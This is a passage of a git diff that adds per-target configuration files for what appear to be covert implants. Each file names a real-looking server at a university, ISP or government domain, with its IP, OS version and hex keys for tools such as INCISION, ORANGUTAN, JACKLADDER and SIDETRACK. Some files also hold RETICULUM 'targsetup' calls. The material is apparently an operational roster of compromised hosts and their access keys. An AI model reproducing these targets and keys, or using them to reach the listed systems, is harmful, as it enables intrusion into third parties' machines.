01139ea7" +} diff --git a/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/incision b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/incision new file mode 100644 index 0000000..2611c9d --- /dev/null +++ b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/incision @@ -0,0 +1,4 @@ +INTONATION___www21.counsellor.gov.cn___61.151.243.13___20040414-120150() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="39d5b872 6e8808a2 1dbba278" +} diff --git a/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/orangutan b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/orangutan new file mode 100644 index 0000000..8c50480 --- /dev/null +++ b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/orangutan @@ -0,0 +1,4 @@ +INTONATION___www21.counsellor.gov.cn___61.151.243.13___20040414-120150() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="ef8419db c9a4a16c b3aa168f" +} diff --git a/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/sidetrack b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/sidetrack new file mode 100644 index 0000000..a6bc257 --- /dev/null +++ b/Linux/bin/varkeys/intonation/www21.counsellor.gov.cn___61.151.243.13/sidetrack @@ -0,0 +1,4 @@ +INTONATION___www21.counsellor.gov.cn___61.151.243.13___20040414-120150() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="ba805d2b a6429f77 8ef05d65 da204af3" +} diff --git a/Linux/bin/varkeys/pitches.tar.bz2 b/Linux/bin/varkeys/pitches.tar.bz2 new file mode 100755 index 0000000..80a7b9b Binary files /dev/null and b/Linux/bin/varkeys/pitches.tar.bz2 differ diff --git a/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/incision b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/incision new file mode 100644 index 0000000..70d5afe --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___anie.sarenet.es___192.148.167.2___20010919-094131() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.6 + export TARG_AYT="ebfd82cd afbc1fe0 6a2fbcd5" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} diff --git a/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/jackladder b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/jackladder new file mode 100644 index 0000000..7842d46 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___anie.sarenet.es___192.148.167.2___20010919-094131() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/orangutan b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/orangutan new file mode 100644 index 0000000..8f3dd4f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___anie.sarenet.es___192.148.167.2___20010919-094131() { + ## ORANGUTAN Version:1.3 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="e19204e5 2816bcd1 b889dcea" +} diff --git a/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/reticulum b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/reticulum new file mode 100644 index 0000000..f0b28d6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/anie.sarenet.es___192.148.167.2/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___anie.sarenet.es___192.148.167.2___20010919-094131() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 Options:I,O + # + set host anie.sarenet.es + set ip 192.148.167.2 + set hostType "Solaris26" + set len 476 + set cv0 266a0d22 + set cv1 423206e4 + set cv2 98d20b62 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/incision b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/incision new file mode 100644 index 0000000..e8ee49b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR_TW___mx.iplus.net.tw___202.145.137.19___20010905-143819() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="1662b4de 966aea14 10622227" +} diff --git a/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/jackladder b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/jackladder new file mode 100644 index 0000000..e3bc3a5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR_TW___mx.iplus.net.tw___202.145.137.19___20010905-143819() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/orangutan b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/orangutan new file mode 100644 index 0000000..ef66815 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR_TW___mx.iplus.net.tw___202.145.137.19___20010905-143819() { + ## ORANGUTAN Version:1.3 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="e2ef29b3 6bf79baf d1329346" +} diff --git a/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/reticulum b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/reticulum new file mode 100644 index 0000000..62dd3d9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/aries.ficnet.net___202.145.137.19/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR_TW___mx.iplus.net.tw___202.145.137.19___20010905-143819() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 Options:I,O + # + set host mx.iplus.net.tw + set ip 202.145.137.19 + set hostType "Solaris27" + set len 476 + set cv0 53a86a76 + set cv1 41cfee95 + set cv2 93759eab + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/dewdrop b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/dewdrop new file mode 100644 index 0000000..b75a483 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___asic.e-technik.uni-rostock.de___139.30.202.8___20070124-134252() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/incision b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/incision new file mode 100644 index 0000000..7048a77 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___asic.e-technik.uni-rostock.de___139.30.202.8___20070124-134252() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="4f49f0f1 9aff3a76 ccbb6d0e" +} diff --git a/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/jackladder b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/jackladder new file mode 100644 index 0000000..d08c98b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___asic.e-technik.uni-rostock.de___139.30.202.8___20070124-134252() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/orangutan b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/orangutan new file mode 100644 index 0000000..7f84b94 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___asic.e-technik.uni-rostock.de___139.30.202.8___20070124-134252() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="1eb5ca20 f6fe31f5 2a16609d" +} diff --git a/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/patchicillin b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/patchicillin new file mode 100644 index 0000000..2411e9d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/asic.e-technik.uni-rostock.de___139.30.202.8/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___asic.e-technik.uni-rostock.de___139.30.202.8___20070124-134252() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="362cb40d a3085c14 bf926960" +} diff --git a/Linux/bin/varkeys/pitchimpair/axil.eureka.lk___202.21.32.1/orangutan b/Linux/bin/varkeys/pitchimpair/axil.eureka.lk___202.21.32.1/orangutan new file mode 100644 index 0000000..5019153 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/axil.eureka.lk___202.21.32.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___axil.eureka.lk___202.21.32.1___20010316-114705() { + ## ORANGUTAN Version:1.2 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="cf2cad60 83d3f901 54899c8c" +} diff --git a/Linux/bin/varkeys/pitchimpair/bambero1.cs.tin.it___194.243.154.57/orangutan b/Linux/bin/varkeys/pitchimpair/bambero1.cs.tin.it___194.243.154.57/orangutan new file mode 100644 index 0000000..051f3e1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/bambero1.cs.tin.it___194.243.154.57/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___gambero1.cs.tin.it___194.243.154.57___20020523-235645() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="fc909040 21f6211e 862761af" +} diff --git a/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/incision b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/incision new file mode 100644 index 0000000..d753c83 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___burgoa.sarenet.es___194.30.32.242___20010919-094002() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="1c4dfce1 8bca119e 7ce71ae3" +} diff --git a/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/jackladder b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/jackladder new file mode 100644 index 0000000..093133d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___burgoa.sarenet.es___194.30.32.242___20010919-094002() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/orangutan b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/orangutan new file mode 100644 index 0000000..c740f03 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___burgoa.sarenet.es___194.30.32.242___20010919-094002() { + ## ORANGUTAN Version:1.3 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="11204740 49a2b84b 49fa82ff" +} diff --git a/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/reticulum b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/reticulum new file mode 100644 index 0000000..4154c9b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/burgoa.sarenet.es___194.30.32.242/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___burgoa.sarenet.es___194.30.32.242___20010919-094002() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 Options:I,O + # + set host burgoa.sarenet.es + set ip 194.30.32.242 + set hostType "Solaris27" + set len 476 + set cv0 d99e53b1 + set cv1 f7acbb1d + set cv2 5c0fe296 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/incision b/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/incision new file mode 100644 index 0000000..ae1d861 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___cad-server1.EE.NCTU.edu.tw___140.113.212.150___20040322-113315() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="dba1abf2 c5b1b090 ace01585" +} diff --git a/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/orangutan b/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/orangutan new file mode 100644 index 0000000..36c69f3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___cad-server1.EE.NCTU.edu.tw___140.113.212.150___20040322-113315() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.5.1 + export CONFIG_KEYS="8ee1957f 5bcdcbc7 c4bbab78" +} diff --git a/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/patchicillin b/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/patchicillin new file mode 100644 index 0000000..a9c5f90 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cad-server1.ee.nctu.edu.tw___140.113.212.150/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___cad-server1.EE.NCTU.edu.tw___140.113.212.150___20040322-113315() { + ## PATCHICILLIN Version:1.1 OS:sparc-sun-solaris2.5.1 + export CV="e88728dd d2394493 6546507d" +} diff --git a/Linux/bin/varkeys/pitchimpair/ccmman.rz.unibw--muenchen.de___137.93.10.6/dewdrop b/Linux/bin/varkeys/pitchimpair/ccmman.rz.unibw--muenchen.de___137.93.10.6/dewdrop new file mode 100644 index 0000000..b3ddeb0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ccmman.rz.unibw--muenchen.de___137.93.10.6/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___CCMman.rz.unibw--muenchen.de___137.93.10.6___20060831-143300() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ccmman.rz.unibw--muenchen.de___137.93.10.6/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/ccmman.rz.unibw--muenchen.de___137.93.10.6/stoicsurgeon new file mode 100644 index 0000000..d9208d9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ccmman.rz.unibw--muenchen.de___137.93.10.6/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___CCMman.rz.unibw--muenchen.de___137.93.10.6___20060831-143300() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/dewdrop b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/dewdrop new file mode 100644 index 0000000..23dedfa --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ci970000.sut.ac.jp___133.31.106.46___20090610-093954() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/incision b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/incision new file mode 100644 index 0000000..3141e22 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ci970000.sut.ac.jp___133.31.106.46___20090610-093954() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="456a6ebd 9bd3721d d59a3b53" +} diff --git a/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/jackladder b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/jackladder new file mode 100644 index 0000000..32f12e8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ci970000.sut.ac.jp___133.31.106.46___20090610-093954() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/orangutan b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/orangutan new file mode 100644 index 0000000..b4093a2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ci970000.sut.ac.jp___133.31.106.46___20090610-093954() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="d9217374 5bc4280b 99c328c5" +} diff --git a/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/patchicillin b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/patchicillin new file mode 100644 index 0000000..501c300 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ci970000.sut.ac.jp___133.31.106.46/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ci970000.sut.ac.jp___133.31.106.46___20090610-093954() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="57dc5a15 e3fefede 3ba78138" +} diff --git a/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/dewdrop b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/dewdrop new file mode 100644 index 0000000..1b8f797 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/incision b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/incision new file mode 100644 index 0000000..c408c85 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616() { + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="3545126d 3b4d7202 9cd26095" +} diff --git a/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/jackladder b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/jackladder new file mode 100644 index 0000000..049954b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/orangutan b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/orangutan new file mode 100644 index 0000000..d05bdb2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="75c4b059 29237399 7a41efbe" +} diff --git a/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/patchicillin b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/patchicillin new file mode 100644 index 0000000..b7d87b3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.7 + export CV="5f75c7c0 03625229 6f6091a4" +} diff --git a/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/sidetrack b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/sidetrack new file mode 100644 index 0000000..9773035 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ciidet.rtn.net.mx___204.153.24.32/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616() { + ## SIDETRACK Version:1.1 OS:sparc-sun-solaris2.7 + export CV="7edc12eb 14d017fa ebe9128b" +} diff --git a/Linux/bin/varkeys/pitchimpair/cmusun8.unige.ch___129.194.97.8/incision b/Linux/bin/varkeys/pitchimpair/cmusun8.unige.ch___129.194.97.8/incision new file mode 100644 index 0000000..1aadf23 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cmusun8.unige.ch___129.194.97.8/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___cmusun8.unige.ch___129.194.97.8___20040408-215133() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="f864fded c74315bc e5fd7109" +} diff --git a/Linux/bin/varkeys/pitchimpair/cmusun8.unige.ch___129.194.97.8/orangutan b/Linux/bin/varkeys/pitchimpair/cmusun8.unige.ch___129.194.97.8/orangutan new file mode 100644 index 0000000..c4951db --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cmusun8.unige.ch___129.194.97.8/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___cmusun8.unige.ch___129.194.97.8___20040408-215133() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="485dde08 87c999dc df21e302" +} diff --git a/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/incision b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/incision new file mode 100644 index 0000000..181265b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___colpisaweb.sarenet.es___194.30.32.229___20041202-195849() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2bd4cb74 18f3e9d7 99316a48" +} diff --git a/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/orangutan b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/orangutan new file mode 100644 index 0000000..eef9a1f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___colpisaweb.sarenet.es___194.30.32.229___20041202-195849() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="5022e545 0b96d981 3d566465" +} diff --git a/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/patchicillin b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/patchicillin new file mode 100644 index 0000000..836e5db --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___colpisaweb.sarenet.es___194.30.32.229___20041202-195849() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="6d6b1043 bd43cb63 f8db1ad2" +} diff --git a/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/sidetrack b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/sidetrack new file mode 100644 index 0000000..f3c50e6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/colpisaweb.sarenet.es___194.30.32.229/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___colpisaweb.sarenet.es___194.30.32.229___20041202-195849() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="efa7b351 4f32dcb5 83fe4ebc 850f8d8c" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/dewdrop b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/dewdrop new file mode 100644 index 0000000..6976552 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection1.connection.com.br___200.160.208.4___20070907-122727() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/incision b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/incision new file mode 100644 index 0000000..846cba9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection1.connection.com.br___200.160.208.4___20070907-122727() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="6e25159c 46d85529 11f73e34" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/jackladder b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/jackladder new file mode 100644 index 0000000..7e96feb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection1.connection.com.br___200.160.208.4___20070907-122727() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/orangutan b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/orangutan new file mode 100644 index 0000000..38573fc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection1.connection.com.br___200.160.208.4___20070907-122727() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="38a8356d b93ba483 6e4016bd" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/patchicillin b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/patchicillin new file mode 100644 index 0000000..e4bb32b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection1.connection.com.br___200.160.208.4/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection1.connection.com.br___200.160.208.4___20070907-122727() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="acdb759d 4b8f9790 e7298f46" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/incision 